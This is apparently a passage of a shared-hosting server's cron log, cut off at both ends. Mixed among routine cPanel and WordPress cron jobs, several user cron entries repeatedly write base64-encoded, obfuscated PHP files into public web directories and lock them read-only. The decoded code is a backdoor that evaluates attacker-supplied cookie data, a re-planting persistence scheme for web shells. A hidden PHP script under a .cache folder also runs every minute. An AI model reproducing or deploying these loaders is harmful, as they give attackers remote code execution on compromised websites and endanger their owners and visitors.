"$fp"; fi; chmod 444 "$fp")
Mar  2 01:37:02 medusa CROND[19547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:37:02 medusa CROND[19549]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:37:02 medusa CROND[19551]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:37:02 medusa CROND[19554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:37:02 medusa CROND[19556]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:38:01 medusa CROND[26146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:38:01 medusa CROND[26147]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:38:01 medusa CROND[26148]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:38:01 medusa CROND[26149]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:38:01 medusa CROND[26150]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:38:01 medusa CROND[26151]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:38:01 medusa CROND[26152]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:38:01 medusa CROND[26153]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:38:01 medusa CROND[26155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:38:01 medusa CROND[26157]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:38:01 medusa CROND[26161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:38:02 medusa CROND[26162]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:38:02 medusa CROND[26165]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:39:01 medusa CROND[306]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:39:01 medusa CROND[308]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 01:39:02 medusa CROND[398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:39:02 medusa CROND[399]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:39:02 medusa CROND[400]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:39:02 medusa CROND[402]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:39:02 medusa CROND[401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:39:02 medusa CROND[404]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:39:02 medusa CROND[405]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:39:02 medusa CROND[406]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:39:02 medusa CROND[407]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:39:02 medusa CROND[410]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:39:02 medusa CROND[412]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:39:02 medusa CROND[426]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6